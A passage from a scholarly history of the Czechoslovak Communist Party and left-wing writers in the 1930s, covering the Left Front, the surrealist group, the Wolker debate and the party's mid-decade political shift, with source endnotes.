Already on June 6 and 7, 1931, the first imperial conference of the Left Front was held in Brno in order to carry out its institutionalization in line with the requests of the International Bureau of Revolutionary Literature. The main speeches were presented by L. toll and V. Clementis, which speaks to the fact that the conference was under close supervision by the communist party. P. Reiman also sent a letter to the conference. Among other things, the letter stated: "An exclusive organization of intellectuals, separated from other proletarian organizations, is useless . . . the Left Front should also include workers among their midst, which can only be done provided they refrain from leading scholastic intellectual discussions, but rather concentrate on serious educational Marxist work."41 Reiman thus promotes the conclusions of the Kharkov congress of revolutionary literature.
The documentation of the Left Front conference shows a remarkable similarity to the resolutions of the sixth congress of the KSCˇ in the area of strategy, and also a remarkable similarity to the resolutions of the Constituent and the first regular congress of the KSCˇ as far as organizational issues are concerned. Following a general criticism of the existing economic and political system in Czechoslovakia and the "non-Soviet" world, the Left Front declares war on this establishment:
The working intelligentsia42 is left with only one choice, which fully corresponds with its interests: uniting with the proletariat, the narrow group becoming one with the proletarian masses in both the city and the country. On this road, the working intelligentsia, side by side with the proletariat, must defend its economic, political and cultural interests. The most important issues of this struggle at present are:
a) Struggle against economic impoverishment of the intelligentsia, especially against unemployment
b) Struggle against political reaction, against Fascization and anything that might be supporting it; against counterrevolutionary social democracy and other "socialist" parties, etc.
. . . We are convinced that the struggle of the working intelligentsia in all areas must be planned and its organization improved. The main goal in this sense of the word is the transformation of the Left Front into a real, mass organization of the working intelligentsia, which as a bridge will include the intelligentsia in the proletarian class struggle. This is how the Left Front will achieve this goal:
a) Sections will be organized in all areas of the intelligentsia.
b) Members of these sections of the Left Front will form tight-knit groups in the corresponding trade union organizations and there, by way of collective and personal campaigning, they will show the working intelligentsia the right way and lead the struggle for its vital interests
c) Members of the Left Front will be obliged to set up new branches of the Left Front, wherever there are suitable conditions . . .
f) By its press, which requires the 'Levá fronta' weekly to be transformed into a magazine for the masses.43
There could have been no more doubt about the purpose the Left Front was to serve and who it was subordinated to. With this resolution, it took on all signs of the communist organizational structure, including the mandatory establishment of cells. Moreover, the Levá fronta paper was to be transformed into "Rudé právo for the working intelligentsia."
The Left Front further announced its cultural concept, in which, similarly to the KSCˇ, it distanced itself from the Proletkult concept of new culture and formalist sectarianism,44 from Trotskyism, reformism, and other "deviations." On the other hand, it accented the importance of the working class for the progressive intelligentsia: "We reject the understatement of the proletariat's influence on other classes."45 This cultural concept also showed that writers were still perceived slightly differently from other working intellectuals, as they were mentioned separately: "In the area of literature, we are fully behind the resolutions of the Charkov conference of proletarian writers and we want to work both for revolutionary culture of the proletariat in general as well for revolutionary proletarian literature, and we are fully supportive of the Association of Proletarian Writers in Czechoslovakia in these areas."46 The Left Front further set up so-called cultural sections, which were to apply the views of the revolutionary proletariat in the area of art. These sections were supposed to closely collaborate with the Association of Proletarian Writers, and so on.
Thus, before its first imperial conference, the Left Front transformed itself into a proper satellite organization of the KSCˇ with a similar structure, program, goals, and terminology that were typical for the Communist Party itself. For writers, the conference meant a complete inclination to the understanding of revolutionary art only as art based on dialectical materialism. At the time it did not mean a farewell to "formalist" movements of many writers, especially because following the departure of some of the seven signatories, they represented a sort of flagship or formal revolutionary art. For now, modernists were only assigned to lower positions in the Levá fronta paper, which was taken over by communist critics J. Fucˇík, L. toll, and others, who used it to publish official views of the party line and in their reviews targeted mainly "social fascist" writers and publicists.
Notes
1. These two artists and journalists have not been selected randomly, but because they most actively participated in the so-called generation debate.
2. Qtd. in Avantgarda známá i neznámá, sv. III (Prague: Svoboda, 1970), 68–69.
3. Haken, a top communist representative, spoke highly of Teige's polemic as "proper Bolshevik punches in the stomach."
4. "In Deveˇtsil we did agree on things democratically, but what we agreed was always what Teige wanted. . . . Voskovec played the role of Ríša in Pohádka máje (May Tale) and was then forced to leave Deveˇtsil." Jaroslav Seifert, Všecky krásy sveˇta (Prague: Cˇeskoslovenský spisovatel, 1985).
5. The problems of the Left Front will be dealt with in the following subchapter.
6. Revue Deveˇtsilu 3, no. 1.
7. Qtd. in Avantgarda známá i neznámá, sv. III, 133–35.
8. Cˇin, 12 December 1929, 156.
9. S. K. Neumann attempted to support Hora, but by calling him a natural born social democrat he had done Hora a great disservice. F. X. alda approached the situation very seriously and refrained from the silly pigeonholing of writers and showed understanding for Hora's motives.
10. Qtd. in Avantgarda známá i neznámá, sv. III.
11. Qtd. in Avantgarda známá i neznámá, sv. III.
12. Qtd. in Avantgarda známá i neznámá, sv. II (Prague: Svoboda, 1972).
13. Josef Hora also uses a simile of the church, but in a clearly critical sense of the word. Josef Hora, Spisovatel a politika (Prague: O. Girgal, 1929).
14. Tvorba, January 1930.
15. In the same article, alda admits that both of them are journalists by profession and that they must make a living in one way or another.
16. It was alda who arranged a job for Hora in the Cˇeské slovo magazine.
17. In an open letter, Olbracht explained to alda that they did not have enough money to start a new magazine, and what is more, they were not bound by a common conviction.
18. Qtd. in Avantgarda známá i neznámá, sv. II.
19. Especially until 1938, when he parted with the Communist Party on rather bad terms.
20. It doesn't become apparent until the late 1930s, but in the area of theory he faced virtually constant pressure from other communist art theoreticians.
21. František Helešic, "Manifest sedmi literátu˚" in Kapitoly z deˇjin Cˇeskoslovenského tisku I. (Prague: Cˇeský novinárˇ, 1969b), 109.
22. Tvorba, 2 October 1929.
23. Tvorba, 27 November 1930.
24. Qtd. in Teige's lecture. Revue Deveˇtsilu, November 1929, 48.
25. I do not include the entire list of professions the Left Front intended to incorporate because it is very long. Yet it can be characterized by a term so close to communist terminology—the working intelligentsia.
26. Revue Deveˇtsilu, November 1929, 48.
27. For example, Deveˇtsil never adopted the practice of handing out membership cards.
28. The terminology of communist journalism was much richer, for example, opportunist, social fascist, Trotskyist, and so on.
29. Plán 2, no. 1, 30–31.
30. Many staunch supporters of KSCˇ among artists were not members of the party, for example, Karel Teige, or following his expulsion from the party, even S. K. Neumann.
31. This nickname comes from the authors of a Slovak leftist paper, Dav, who were approached by J. Fucˇík to comment on the proclamation of the seven writers.
32. S. K. Neumann, Konfese a konfrontace (Prague: Cˇeskoslovenský spisovatel, 1988).
33. Helešic, "Manifest sedmi literátu˚," 114.
34. Levá fronta, 11 December 1930, 1.
35. Levá fronta, 1.
36. Considering the fact that Proletkult was championed in Czechoslovakia by K. Teige's ideological opponent Neumann, this statement sounds rather odd.
37. Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ (Prague: Vysoká škola politická ÚV KSCˇ, katedra kulturní politiky, 1973).
38. Preface to the book Krize národa, 8. Helešic, "Manifest sedmi literátu˚," 89.
39. Until then, communists had not invited the working intelligentsia to their congresses.
40. The communist terminology uses the expression reformist.
41. Qtd. in Helešic, "Manifest sedmi literátu˚," 117.
42. The phrase enters communist terminology. It will also be used to denote communist intellectuals and artists further in the book.
43. From the documents of the first imperial conference of the Left Front in Brno on June 6 and 7, 1931. Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ, 92–102.
44. It denounced the non-dialectical concept of its formation, which meant an indirect attack on Teige's Deveˇtsilisms.
45. From the documents of the first imperial conference of the Left Front in Brno on June 6 and 7, 1931. Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ, 92–102.
46. Komunistická strana, 92–102.
# Chapter 13
## KSCˇ and the Left Front
in the First Half of the 1930s
KSCˇ at the Time of Economic Crisis
During the 1920s, the KSCˇ assumed rather ambivalent attitudes toward the intelligentsia, oscillating between absolute distrust on the one hand to an attempt at winning over the "working intelligentsia" on the other. This undoubtedly resulted from the fact that it was difficult to determine the position of the intelligentsia in the ideology of proletarian revolution. In spite of the communists' skeptical attitude, many members of the intelligentsia supported the KSCˇ, collaborated with it, and became members or loyal followers. However, the KSCˇ could hardly deny its "proletarian" style. With the exception of the constituent congress of the Communist Party, which was attended by S. K. Neumann in the role of an observer, the presidia of congresses held between the two world wars, let alone the political bureau or the central (formerly executive) committee, included hardly any members of the intelligentsia, unless we consider the journalist functionaries who took control of the party press following the fifth congress of the KSCˇ as members of the intelligentsia.
The Communist Party refused to entrust its leadership to anyone else but a representative of the proletariat, that is, only people with "working class roots."1 Still, the party did not want to give up on gaining a certain share of the left intelligentsia in society. Therefore, the Left Front was transformed into an institution of the party with a party-like organizational structure and the obligation to establish offshoot sections of the Left Front, whose lead was taken over by artists who considered themselves not only the avant-garde in arts, but also politics.
Leftist artists were soon to prove their ideological loyalty to communism and also to the Bolshevik leadership of the KSCˇ. The occasion was the world economic recession, which in the 1920s and 1930s also affected Czechoslovakia. Although this is not the main topic of this publication, I cannot help but mention the conduct of KSCˇ at this time. However, I will attempt to describe these events in the light of aspects that are often overlooked, or considered irrelevant and of secondary importance.
When in 1930 S. K. Neumann claimed that his signature below the proclamation of seven writers was a mistake flowing from the difficult situation of the KSCˇ at the time following the party's fifth congress, and from the assumption that Bolshevization would mean a catastrophic loss of popularity of the party with the Czechoslovak public,2 then either in connection with the results of the parliamentary election he was content with the "mere" loss of two hundred thousand supporters when compared to the support in the 1925 parliamentary election, or he was very well aware of the following. After its Bolshevization, the KSCˇ did face a decline in popularity with its supporters, which considering the division of the communist trade unions in half could have been much more substantial. One of the reasons why such a decline did not occur was on the one hand the economic crisis and the activity of the KSCˇ during this time, and on the other hand the (in)activity of other political parties which could have potentially attracted disgruntled followers of the KSCˇ.3
The opinions on the conduct during the economic crisis varied in the KSCˇ. The party obviously supported and instigated strike movements—during which writer members of the KSCˇ and the Left Front were to raise the strikers' morale4—the root of the disputes was more related to the degree of collaboration with so-called reformist parties that presented a certain competition. The sixth congress of the KSCˇ forbade any kind of cooperation with these parties, and declared war on them, particularly social democracy.
However, this stance was not supported by a relatively strong faction of the Communist Party led by J. Guttmann. While according to the resolutions of the sixth congress the so-called popular front under the auspices of the KSCˇ was to be established at any cost, Guttmann suggested that at the time of economic crisis a united front be formed on the basis of a compromise with the social-democratic program.5 The Komunistická revue, revived in 1930 after more than an eight-month break, became a platform for promoting these ideas. Guttmann was considering seizing power in the country by a coalition of left-wing parties, an idea officially pressed by the KSCˇ in the last few years of the existence of the first Czechoslovak Republic. However, the party rejected Guttmann's views as an opportunist trend.
Guttmann's proposal of partnership between the KSCˇ and social democracy was unacceptable also for social democrats themselves, who felt strong hostility toward the Soviet Union and considered Stalin a dictator. The anti-Soviet views probably played a decisive role in the potential return of a large number of members of the KSCˇ and its satellite organizations to social democracy.
The views of the KSCˇ somewhat changed with the rise of Nazism in Germany. As one of the primary goals of his political program, Hitler declared war on the Communist International, which in turn urged its sections as early as on March 3, 1933 to create a united front against fascism. Following the convention of the Central Committee of the KSCˇ on March 16, an open letter to the executive committees of reformist parties, that is, the Czechoslovak and German social democracy and the Czechoslovak National Socialist Party, was published with an appeal to put up a united fight against "hunger, fascism and war." The KSCˇ offered the reformist parties a joint fight against Gajda and Strˇíbrný.6 Three days later, the conference of the Red Trade Unions came with similar appeals and offers to all trade unionists.
The propositions of cooperation must be perceived as opportunist, especially considering the tone the communist press had used to refer to both Czechoslovak and German social democrats only days or weeks before. As an example of such rhetoric, let me quote from P. Reiman's article "Hitler's Dictatorship in Germany," which was published in the February issue of the Komunistická revue:
Only the confused petite bourgeoisie can believe that the establishment of a fascist dictatorship in Germany is a major turnaround. The claim of the Communist International that there is not a big difference between democracy and fascism is completely true even now. . . . Hitler did not come masked as some "revolutionary," but as a legal heir [of German social democrats] to Noske, Scheidemann and Bert.7
In February of 1933, the KSCˇ still referred to social democrats as social fascists, and a month later, it offered to collaborate with them.
However, the reformist parties that at the time formed the government refused to take part in activities led by the Comintern and the KSCˇ. Within the KSCˇ, though, there was still the moderate wing represented by Josef Guttmann. His views of a compromise with social democracy—and criticism of the Comintern's tactic in German politics, especially its perception of social democracy as the same evil as fascism—were rejected by the Comintern's Executive Committee and Guttmann was asked to resign from his leadership role in the KSCˇ and be "transferred to Moscow." Guttmann did not act on this request and continued to express his "opportunist" views. He attacked the German Communist Party for succumbing to fascism and expressed the heretical idea that at the time of fascists' victory, it is necessary to suspend the revolutionary struggle and move to more moderate, unified positions.8
Especially because of Guttmann, the Komunistická revue ceased to be published in October 1933.9 In its last issue, representatives of Gottwald's leadership explain the reasons behind its closure. In Gottwald's words, "because we are entering a time of the most severe struggle, a time when the bourgeoisie attempts to deprive our movement of legality, we have to stamp out any expression of opportunism."10 According to another author, B. Köhler, the press "led by Guttmann and Reiman11 daily expressed views that were entirely in contradiction to the party's political line, without causing vigorous resistance against this opportunist distortion of the party line. . . . The rotten liberalism pushed out the revolutionary, Bolshevik alertness in the daily politics of the party." Guttmann and several other communists from the group associated with the Komunistická revue are labeled Trotskyists.12 Not being issued a new membership card in late 1933, Guttmann ceases to be a member of the KSCˇ.13
It needs to be said that in 1933 and 1934 the KSCˇ, similarly as in previous years, was not in an easy situation. The governments of the agrarians František Udržal and Jan Malypetr took major steps against undemocratic parties. Already in February of 1931, Rudé právo paper was closed down for almost half a year. Other significant interventions against communists and also other undemocratic parties were made possible by newly passed laws, for example, the press law, which allowed the distribution of the press to be limited or even confiscated and completely banned; or the amendment to the Act on the Security of the Czech Republic, which tightened the sanctions for criticism of not only top government representatives, but also government authorities. On October 25, 1933, a law was passed allowing political parties to be banned and dissolved, which put the Communist Party on the verge of legality.14
Although on June 9, 1934 the Czechoslovak Republic officially recognized the existence of the Soviet Union, the attitude of the government elite toward the KSCˇ did not change until the end of 1935. Moreover, communists led a very disgusting campaign at the time of T. G. Masaryk's
reelection as president of the Czechoslovak Republic. Among other things, the campaign accused Masaryk of fascism.15 In reaction to the communists' conduct, warrants were issued for the arrest of KSCˇ members of parliament Gottwald, Krosnárˇ, Kopecký, and teˇtka. They represented the hard line of the party, who under the threat of trials and possible imprisonment left for the Soviet Union. For more than a year, the party's chairman, Gottwald, loses direct oversight of the events in the KSCˇ.16
The Surrealist Group in the Left Front
The politicking described in the previous subchapter did not really affect leftist writers, and if it did, it was in the negative sense of the word. Because of his opposition to the strict anti-Masaryk stance, F. X. alda withdrew from the Left Front, followed by S. K. Neumann. The Deveˇtsil generation never took part in the Left Front's activities. From 1932, the backbone of the Left Front was made up of communist critics L. toll (from 1932 editor of the Levá fronta paper), J. Fucˇík, B. Václavek, and others, who directed their attacks against social fascists K. Cˇapek, F. Peroutka, and so on. With such focus, the Left Front could hardly set aspirations to become an integrating force of left-wing intelligentsia and culture. Furthermore, under toll's leadership, the Levá fronta magazine abandons its role as the cultural newsletter of the KSCˇ and instead focuses on the problems of political struggles and informing about some areas of life (not cultural) in the Soviet Union.17 The Left Front, transformed into an appendage of the Communist Party, thus started to lose credit among leftist artists and intellectuals.
The generation debate, which thanks to the establishment of the Left Front stopped midway, was supposed to come to an end at this time. It is clear that the main representatives of Deveˇtsil, especially Teige, joined the Left Front only on the basis of the conviction that they would be able to continue in what proletarian art and poetism meant to them, that is, modernness. The idea that the Left Front would give Tiege more room for avant-garde art turned out to be erroneous. Moreover, Teige was not even in charge of the Left Front's organization, which he probably had difficulty accepting. Therefore, he looked for a way out.
As with every ideologist who has lost his way, Teige first turned to the past and focused on the history of Deveˇtsil. In 1933, in his article "Modern Culture Association Deveˇtsil," he wrote:
From the beginning, the modern culture association Deveˇtsil was the centre and foundation of avant-garde trends. . . . No matter how Deveˇtsil's membership changed, this group was always a narrow working partnership of the intellectual left. . . . For ten years, the Deveˇtsil group worked on a program that had two facets and played two historical roles: the first role, played also by previous progressive groups, gained in urgency after the world war, which interrupted international cultural cooperation and contacts, could be characterized by the motto opening the windows into the world, catching up with Europe; while the other basically represented surpassing Europe. . . . The first part of the action program and historical mission of Deveˇtsil was modernness. The other, revolutionary role was to get ahead of Europe.18
After the four years that Teige devoted to the Left Front, he once again started to "catch up with Europe." Therefore, he joined the newly established surrealist group.
The surrealist group was founded in early 1934 by some of the former Deveˇtsil artists—painters Toyen and J. tyrský, theatre and movie director J. Honzl, and poet K. Biebl, among others. From the list of signatories it is clear that Teige and Nezval joined the group only after it had been established. However, Teige became the ideologist of the group, which in terms of its program followed up on Deveˇtsil. The birth of surrealism can be attributed to a much earlier date; its first manifesto was published in the mid-1920s;19 however, its application within the KSCˇ, or the Left Front, was problematic. Surrealism, which rejected any ties between politics and art and instead wanted to focus on changing man rather than the political system, was strongly opposed by communist literary theoreticians and critics. They criticized surrealism for its incompatibility with scientific materialism (a view held mainly by S. K. Neumann) and for not being involved in the struggle against fascism (J. toll and other Bolshevik critics in the Left Front).
In May of 1934, a debate on surrealism took place. Surrealism was defended by Teige, Nezval, and Honzl, while toll played the role of opponent. The discussion occurred in the questions of esthetics—the contributions of all participants were published in the anthology Surrealismus v diskusi (Surrealism in Discussion).20 The absence of politically motivated criticism on the part of Bolshevik journalists from the Left Front was likely caused by the critics' waiting for instructions from Moscow, more specifically for the resolutions of the first All-Union Congress of Soviet Writers, held in August of 1934.
Meanwhile, Teige turned the surrealist group into a close-knit "communist" cell. The group displayed all signs of a political organization. It was no longer a free community of artists, but a strictly organized group with clearly defined principles, the most fundamental of which was to break all rules, which worried some of its members, especially Nezval.21 The surrealist group was formally part of the Left Front, as it was the only organization of communist intellectuals acknowledged by the Communist Party. If Teige and the others had moved the group outside the Left Front, they would have automatically been considered undesirable. Still, Teige could be content. Once again he had managed—although only partially—to revive the collectivist spirit of Deveˇtsil. However, many Deveˇtsil members did not join the surrealist group. The majority did not artistically identify themselves with surrealism, but there were also other reasons. For example, Jaroslav Seifert states that "he understood the attempt at reviving Deveˇtsil as the communists' attempt to gain a campaigning tool following the failure of the Left Front, when it was abandoned by alda and Neumann."22 Nezval joined Teige only due to their friendship,23 and that is why we can hardly speak of the revival of the Deveˇtsil collectivism. The existence of the surrealist group within the Left Front, that is, an organization under the direct supervision of the Communist Party, shows that at that time communists maintained their positions, on which the Left Front was founded. The party considers essential neither the form nor the content of artwork, but only the artist's agreement with the policies of the Communist Party. This trend was also confirmed by the All-Union Congress of Soviet Writers, which was held in 1934 under the close supervision of the Soviet party leaders. The main issue on the agenda was a discussion on the form and content of the literary work of communist writers. At the congress M. Gorkij and A. Zhdanov formulated the principles of socialist realism, which considered "ideologically" correct only such work that was based on the principle of dialectical materialism. On the other hand, Bukharin defended another approach, which emphasized form and artistic mastery, and which deemed the esthetic aspect to be the decisive criterion. Thus, the congress did not approve the art of socialist realism as the only possible art form, but it did initiate a discussion on the issue.24 This discussion will be elaborated on in more detail in the next chapter.
Apart from the formation of the surrealist group, perhaps the most significant event on the "left front" at this time is the skirmish among leftist writers at the occasion of the tenth anniversary of the passing of Jirˇí Wolker.25 At the beginning of 1934, the Listy paper ran an article entitled "Jirˇí Wolker after Ten Years," authored by four writers under the pseudonym F. Hlz (Halas, B. Fucˇík, Levit, and Závada). The authors critically view Wolker's cult:
If we are to salvage at least the substance of Wolker's poetry, we need to do away with Wolker's cult and silence his literary and especially personal friends who still today are taking the vain effort to make Wolker literary history, recording every insignificant detail of his walks to the café. We must not forget it was they who led his hand and his steps to the café, that they played a leading role in Wolker's fame. No wonder we see the phony apotheosis, a "magic" folly of Jirˇí Wolker with a star on his forehead. . . . Poor Wolker! How heavy all those stars must weigh on him in the grave.26
Thus, Halas and others attacked the Deveˇtsil generation, as in their opinion they usurped Wolker as a symbol and idol. They also contested the concept which linked Jirˇí Wolker to the Communist Party.27 Their article was a sort of open appeal to a discussion, not only on Wolker, but also on the relationships among left-oriented writers. A number of prominent artists affiliated in the present or in the past with the KSCˇ joined the discussion.
On behalf of the "official" line of the KSCˇ, Teige and Nezval replied in their article "Poet František Halas Believes in Communism, Melantrich and One Poetry." This article contains criticism of just about anything which in one way or another does not correspond with the official policy of the KSCˇ. Not only does the article criticize Halas and B. Fucˇík for "partnering with Catholics in Melantrich," Melantrich for "printing the works of failed ex-communists," but also I. Olbracht, F. X. alda, and
S. K. Neumann, who had parted with the Left Front. The article talks the least about Wolker.28
S. K. Neumann also joined the discussion by publishing an open letter to F. Halas called "About the Dead and the Living." Neumann compares the protest against Wolker's cult to the execution of a poet, whose "misfortune, both human and literary, was the fact that he died too young." Quite objectively, Neumann shows that Wolker's potential development would have led to one of today's enemy groups of leftist writers and that he can be believed as neither a model poet "who would never betray the communist party," nor a model poet "who would surely understand the harmfulness of what is happening in the KSCˇ." At the end, Neumann writes: "Dear František Halas,29 everyone gets a fair share of attention, but don't you think that Jirˇí Wolker will get a great deal more of it than you, because he wanted to achieve something, while all that you want to do is lament."30
Halas replied to Neumann in an open letter published in the Rozhledy paper. First of all, he protests against Neumann's questioning his right to use the salutation comrade: "Comrade Neumann. . . . I have to defend the word, which is so dear to me, and I don't think that only a membership card gives a person the right to use it.31 One cannot be expelled from one's faith, where the only arbiter is conscience and awareness. The measuring of leftism and orthodoxy, so commonly encountered in cafés and sectarian sessions, concerns me."32 Halas attacks Neumann for his activities fifteen years previously in the Cˇerven magazine: "Perhaps you also found out that 'the red raspberries had not ripened yet'—if I can quote your own words, with which you commented on Wolker's poetry in Cˇerven's correspondence column." Halas denies initiating the whole discussion "merely for the benefit of those who see poetry differently."33
Halas's article spoke against Wolker's cult of a bourgeois poet. Still, the article provoked a response from representatives of the official line of the KSCˇ (Teige), "independent" followers (Neumann) as well as the "opposition" (Hora), all of whom saw the article as an attack on them and also a pretext for an attack against those leftist writers who openly disagreed with the principle that only members of the KSCˇ are communists. The discussion on Wolker is only an example which shows that the first half of the 1930s was filled with disputes between writers belonging to the official line of the KSCˇ and "reformist" writers, which mirrored the disputes between the KSCˇ and its opposition made up of former communists.
Notes
1. The definition of working class roots is very unclear. In the communist press and literature we can come across a claim that working class roots depend on whether the parents were or are workers. The question remains of how to address the so-called working intelligentsia. In my opinion, the term working class roots was only used for purposeful manipulation and labeling of enemies.
2. S. K. Neumann, Konfese a konfrontace (Prague: Cˇeskoslovenský spisovatel, 1988).
3. However, we must realistically admit that social democrats and national socialists, who following the 1929 parliamentary election returned to government, had much more limited possibilities to gain the support of discontented members than the anti-systemic, undemocratic Communist Party.
4. Víteˇzslav Nezval, Manifesty, eseje a kritické projevy z let 1931–1941 (Prague: Cˇeskoslovenský spisovatel, 1974).
5. Luboš Brabec, Publicista Záviš Kalandra (M.A. Thesis, Charles University, Faculty of Social Sciences, 1998), 35.
6. Rudé právo, 16 March 1933, 1.
7. Komunistická revue, February 1933, 74.
8. The Communist International started promoting this idea only a few months later.
9. On October 23, 1934, the administrators of the Komunistická revue magazine wrote to the Public University Library, saying that "the Komunistická revue magazine has not been published since October 1933." The announcement comes with a stamp and an illegible signature. I found the letter in the eighth volume of the Komunistická revue that the National Library in Prague has at its disposal.
10. Komunistická revue 3, no. 7–8, 220.
11. P. Reiman(n) was the first historian of the KSCˇ. See Pavel Reiman, Deˇjiny KSCˇ (Prague: Karel Borecký, 1931).
12. Trotsky himself held similar views to those of Guttmann—he also demanded that a united front of communist and socialist parties be formed against the threat of fascism.
13. Brabec, Publicista Záviš Kalandra, 41.
14. Veˇra Olivová, Cˇeskoslovenské deˇjiny 1914–1939 (Prague: Karolinum, 1993), 213.
15. A very realistic description of this campaign, including the presidential election itself, can be found in Petr Cˇornej's book Lipanské ozveˇny in the chapter "Mezi dveˇma válkami." Petr Cˇornej, Lipanské ozveˇny (Jinocˇany: H & H, 1995).
16. He left Czechoslovakia in August of 1934 and did not return until early February 1936.
17. Ladislav toll, Z boju˚ na Levé fronteˇ (Prague: Nakladatelství politické literatury, 1964).
18. Qtd. in Kveˇtoslav Chvatík and Zdeneˇk Pešat, Poetismus (Prague: Odeon, 1967), 358–59.
19. Originally, surrealists embraced the philosophy of idealism and only in 1927 did they announce their inclination to Marxism and the proletarian revolution. Andre Breton, Tri manifesta nadrealizma (Bagdala: Kruševac, 1979).
20. Karel Teige, Surrealismus v diskusi (Prague: Mánes, 1934).
21. Nezval's individualism was unrestrained and it was impossible to categorize him in any predefined pigeonhole. There was no other choice for him but artistic schizophrenia. Nezval wrote surrealist poems, but in secret he also authored so-called traditional poems (rhyming). Initially, he rewrote his own poems with rhyme into rhyme-less poems, but that went against the principles of surrealism. Finally, Nezval conspired with publisher J. Firt and came up with a better solution. Three of his collections of poems were published under the pen name Robert David. Julius Firt, Knihy a osudy (Brno: Atlantis, 1991).
22. Qtd. in Zdeneˇk Pešat, Jaroslav Seifert (Prague: Cˇeskoslovenský spisovatel, 1991).
23. Víteˇzslav Nezval, Manifesty, eseje a kritické projevy z let 1931–1941 (Prague: cˇeskoslovenský spisovatel, 1974).
24. Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ (Prague: Vysoká škola politická ÚV KSCˇ, katedra kulturní politiky, 1973).
25. The exchange Dosti Wolkera (Enough of Wolker) from 1925 was dealt with earlier.
26. Listy pro umeˇní a kritiku 2, no. 1 (February 1934), 1–6.
27. In 1923, Wolker left Deveˇtsil and joined the Literary Group, which was oriented toward utopian socialism.
28. Doba 1, no. 8.
29. Several times in the article he points out that the form of address "comrade" does not apply to their relationship, because Halas cannot be considered a comrade, that is, communist.
30. Qtd. in Avantgarda známá i neznámá, sv. III, 167–68.
31. Neumann was not a member of the KSCˇ.
32. Rozhledy, no. 5 (1934).
33. Rozhledy, no. 5 (1934).
# Chapter 14
## KSCˇ and Left-Wing
Culture in the Mid-1930s
Transfer of the KSCˇ to "Positive" Politics
During the 1920s and also in the first half of the 1930s, the Communist Party of Czechoslovakia was seen by other political parties as an undemocratic, anti-systemic party, which stood on the brink of political life. All attempts by the Communist Party to establish contact or cooperation with other left-wing parties had failed. The strict measures of the concentration governments against extremist parties on both the left and right of the political spectrum led communists to use semi-legal as well as illegal activities.1 Despite this fact, in the mid-1930s the Communist Party becomes an important factor on the Czech political scene, significantly affecting both the domestic and foreign policy of the state. The reason for such turnover was the rise of fascism (Nazism) not only in Germany, but also its gradual spread into other countries near the Czechoslovak border and virtually all across Europe.
Changes in the practical politics of the Communist Party occurred very slowly and only based on the directives of the Comintern. Therefore, immediately after Hitler's rise to power in Germany, the criticism of Czechoslovak communists all the more targeted social democrats.2 The Comintern urged all its national sections to come together in the struggle against the emerging fascism, but at the same time it welcomed it, the reason for which was the ideological conviction that Hitler's regime was only a temporary phenomenon which would cause the radicalization of the political climate in Europe and eventually would help the Comintern achieve its goals. From this point of view, the attack on the reformist parties seems logical—reformists represented the biggest competition in the fight to win over the proletariat. "Social fascists" thus became the subject of an unscrupulous campaign, in which the communists did not hesitate to compare social democrats to German fascists.
The exception was the previously mentioned group around J. Guttmann, which tried to push the idea of a temporary truce and collaboration among all left-wing parties in the struggle against the threat of fascism. However, this group was silenced, while the position of the German Communist Party, which significantly participated in the dissolution of the democratic regime of the Weimar Republic, was presented as exemplary Bolsheviks. For example, one of the KSCˇ's main ideologists, V. Kopecký, denounced Guttmann and his ideas in the last issue of the Komunistická revue, in an article symptomatically entitled "Following the Example of the Bolshevik Communist Party of Germany." According to Kopecký,
Guttmann's views and his criticism of the Communist Party of Germany were . . . unanimously rejected and even denied in the final speech of comrade Gottwald [at the twelfth plenary session of the Executive Committee of the Communist International], but the mistake was that this denial was not made sufficiently clearly known to the entire party. This would have prevented what followed—that some comrades, Guttmann in particular, supported the resolution of the twelfth plenary session only formally, but in fact stuck to their own views and continued to push them.3
Guttmann, who at that time was still a member of the KSCˇ, is labeled by Kopecký as a Trotskyist. This label, which I will explain later, can be encountered in communist terminology quite frequently after 1933. Being called a Trotskyist meant a definitive excommunication from the communist movement and being added to the blacklist of the biggest enemies of the Soviet regime.4
In 1933, Guttmann and others began to point out the discrepancy between the official ideological rhetoric of the Communist International's leaders and the practical politics of the Soviet Union. "Stalin began to push the theory of socialism in one country, on the other hand, the Trotskyist opposition promoted its concept of so-called permanent revolution and its 'export' to the world." The Soviet leaders, among whom Stalin gradually eliminated his competitors and concentrated all the power in his hands, were particularly afraid of the possibility of an alliance of western democracies and Hitler's Germany and their joint attack against the Soviet Union. As a result of this fear, Soviet foreign policy changed. The Soviet Union removed Germany from the League of Nations and began to conclude allied contracts directed against Germany's expansionist tendencies.5
In 1934, official collaboration with Czechoslovakia was established. "It consisted of the exchange of important information and mutual political support. Czechoslovak Minister of Foreign Affairs Beneš, as chairman of the Council of the League of Nations, actively prepared the accession of the Soviet Union to the League of Nations, which was finalized in the fall of 1934."6 The Czechoslovak Republic acknowledged de jure the existence of the Soviet Union shortly before the parliamentary election in Czechoslovakia (May 16, 1935). After that, a Czechoslovak-Soviet agreement on mutual cooperation was signed, which confirmed the warming of relationships between the two countries. According to E. Beneš, the agreement, bound to similar agreements concluded between the Soviet Union and France on the one hand, and France and the Czechoslovak Republic on the other, meant the foundation of collective security in Europe.7
The parliamentary election on May 19, 1935 confirmed the rise of right-wing extremism. The political scene in Czechoslovakia was practically divided into two Blocs—the Pro-democratic Bloc, represented by the government parties and gradually supported also by the KSCˇ, and the Fascist Bloc. Thanks to the strong, authoritarian and almost fascist-oriented wing in the Republican (Agrarian) Party, there was no clear borderline between these two Blocs. The election resulted in victory by the existing government coalition, although the strongest party following the election was Henlein's Sudetendeutsche Partei, which gained 15.2 percent of the vote. The KSCˇ gained 10.3 percent of the vote, which was a similar election result to that in 1929. The electoral increase of one percent represented no more than 100,000 votes. KSCˇ lost support mainly among German voters; on the other hand, it saw the biggest success in Subcarpathian Ruthenia, where the Communist Party gained about 25 percent and thus became the strongest party in the region.8
